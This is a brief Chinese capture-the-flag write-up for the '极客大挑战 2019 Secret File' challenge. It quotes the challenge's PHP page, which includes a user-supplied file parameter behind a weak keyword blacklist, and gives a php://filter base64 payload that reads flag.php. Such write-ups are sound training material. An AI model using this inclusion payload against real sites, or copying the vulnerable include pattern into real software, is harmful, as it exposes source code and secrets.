[极客大挑战 2019]Secret File


0x00知识点

没有过滤file

使用php的file伪协议去读取文件

?file=php://filter/convert.base64-encode/resource=flag.php

0x01解题

打开网站存在跳转。抓包,访问
http://152518b2-d342-4872-8adc-b5bcec554a4d.node3.buuoj.cn/secr3t.php
给了我们源代码

<html>    <title>secret</title>    <meta charset="UTF-8"><?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); //flag放在了flag.php里?></html>

直接使用file伪协议读

base64解密得到flag


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM